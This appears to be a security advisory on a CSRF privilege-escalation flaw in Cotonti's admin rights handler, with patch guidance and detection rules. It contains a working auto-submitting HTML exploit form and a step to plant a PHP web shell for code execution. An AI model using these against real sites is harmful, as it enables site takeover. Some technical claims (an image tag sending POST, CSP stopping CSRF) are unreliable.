CVE-2026-55742

Executive Summary

CVE-2026-55742 is a critical Cross-Site Request Forgery (CSRF) vulnerability in Cotonti 1.0.0 (master branch, commit f43f1fc3). The flaw resides in the administration rights handler (system/admin/admin.rights.php), specifically within the rights update action (a=update). The application modifies group access rights (including via cot_auth_add_group) without calling cot_check_xg() to validate the anti-CSRF token. This allows a remote attacker to lure an authenticated administrator into visiting a malicious page, forcing the browser to submit a forged request that grants elevated permissions to an attacker-controlled group, escalating privileges to administrator. Because Cotonti administrators can modify templates and configuration, this can be further leveraged toward remote code execution.

Key Risk: Complete compromise of the Cotonti CMS instance, leading to full server takeover.

CVSS Breakdown & Threat Level

CVSS Score: 9.6 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The attack is executed over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need any prior access.
• User Interaction (UI): Required – The victim must be tricked into clicking a link or visiting a malicious page.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): High – Full read access to all data.
• Integrity (I): High – Full write access to all data.
• Availability (A): High – Full control over the system.

Threat Level: Critical. Immediate patching or mitigation is required.

Deep Dive & Mechanics

The vulnerability is a classic CSRF flaw in the Cotonti CMS administration panel. The system/admin/admin.rights.php script handles the modification of group access rights. When the a=update action is triggered, the script updates the database with new permissions for a specified group. The critical missing step is the call to cot_check_xg(), which is Cotonti's built-in function to validate the anti-CSRF token.

Attack Flow:

1. Reconnaissance: The attacker identifies a Cotonti 1.0.0 instance and determines the URL pattern for the admin rights handler (e.g., http://target.com/admin.php?m=rights&a=update).
2. Crafting the Payload: The attacker creates a malicious HTML page or a simple image tag that triggers a POST request to the vulnerable endpoint. The payload includes parameters to grant admin rights to a group the attacker controls (e.g., gid=2&rights[2]=1).
3. Luring the Victim: The attacker sends a phishing email or posts a link on a forum that the authenticated administrator is likely to click.
4. Exploitation: When the administrator visits the malicious page while logged into Cotonti, the browser automatically sends the forged request with the administrator's session cookies.
5. Privilege Escalation: The server processes the request, granting admin-level permissions to the attacker's group.
6. Post-Exploitation: The attacker logs in with the compromised group, accesses the admin panel, modifies templates or configuration files, and achieves Remote Code Execution (RCE).

Root Cause: The absence of cot_check_xg() in the a=update action handler.

Vulnerable vs. Patched Code

Vulnerable Code (commit f43f1fc3):

// system/admin/admin.rights.php (simplified)
if ($a == 'update') {
    $gid = (int)$_POST['gid'];
    $rights = $_POST['rights'];
    // Missing: cot_check_xg() call
    cot_auth_add_group($gid, $rights);
    // ... rest of the update logic
}

Patched Code (hypothetical fix):

// system/admin/admin.rights.php (patched)
if ($a == 'update') {
    // Validate CSRF token
    cot_check_xg();
    
    $gid = (int)$_POST['gid'];
    $rights = $_POST['rights'];
    cot_auth_add_group($gid, $rights);
    // ... rest of the update logic
}

The only difference is the addition of cot_check_xg(); before processing the request. This function verifies that the request contains a valid anti-CSRF token, preventing unauthorized state changes.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A running Cotonti 1.0.0 instance (commit f43f1fc3).
• An authenticated administrator session.
• A controlled group ID (e.g., gid=2 for "Registered" group).

Exploit Payload (HTML):

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Exploit for CVE-2026-55742</title>
</head>
<body>
    <h1>Click this link to win a prize!</h1>
    <form id="csrf-form" action="http://target.com/admin.php?m=rights&a=update" method="POST">
        <input type="hidden" name="gid" value="2">
        <input type="hidden" name="rights[2]" value="1">
        <input type="submit" value="Claim Prize">
    </form>
    <script>
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

Steps:

1. Host the above HTML file on an attacker-controlled server.
2. Send the link to the authenticated administrator.
3. Once the administrator visits the page, the form auto-submits, granting admin rights to group ID 2.
4. Log in with a user belonging to group 2 and access the admin panel.

Post-Exploitation (RCE):

• Navigate to Admin -> Templates and edit a template to include a PHP web shell.
• Access the modified template file to execute commands.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual POST requests to admin.php?m=rights&a=update without a valid CSRF token.
• Alert on changes to group permissions, especially granting admin rights to low-privilege groups.
• Use Web Application Firewall (WAF) rules to block requests missing the x parameter (CSRF token).

Mitigation:

• Apply the patch by adding cot_check_xg(); before the rights update logic.
• Implement additional CSRF protections, such as SameSite cookies and custom headers.
• Educate administrators about phishing attacks and the importance of logging out after admin sessions.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /admin.php?m=rights&a=update with parameters gid and rights.
• Referer header pointing to an external domain.
• Missing x parameter in the POST body (CSRF token).

File IOCs:

• Modified template files in themes/ directory containing PHP code.
• New or modified configuration files in datas/config/.

Log IOCs:

• Audit logs showing unexpected changes to group permissions.
• Access logs with multiple failed CSRF token validations (if logging is enabled).

Detection Engineering

YARA Rule

rule CVE_2026_55742_CSRF_Cotonti {
    meta:
        description = "Detects vulnerable Cotonti admin.rights.php code missing CSRF check"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-55742"
    strings:
        $vuln_func = "cot_auth_add_group"
        $vuln_action = "a == 'update'"
        $missing_check = "cot_check_xg"
    condition:
        $vuln_func and $vuln_action and not $missing_check
}

Sigma Rule

title: Cotonti CSRF Privilege Escalation (CVE-2026-55742)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2026-55742 via POST requests to admin.rights.php
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /admin.php
        cs-uri-query: 
            - 'm=rights&a=update'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-55742 Cotonti CSRF Privilege Escalation"; flow:to_server,established; content:"POST"; http_method; content:"/admin.php"; http_uri; content:"m=rights&a=update"; http_uri; pcre:"/gid=[0-9]+&rights/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Add cot_check_xg(); before the rights update logic in system/admin/admin.rights.php.
2. WAF Rule: Block POST requests to /admin.php?m=rights&a=update that do not contain a valid CSRF token.
3. Session Hardening: Set SameSite=Strict on session cookies.

Long-Term Fixes:

• Upgrade to a patched version of Cotonti (once available).
• Implement a Content Security Policy (CSP) to prevent XSS and CSRF.
• Conduct regular security audits of the admin panel.

Workaround:

• Disable the rights update functionality temporarily by removing or renaming admin.rights.php.

Valters IT
Securing Digital Frontiers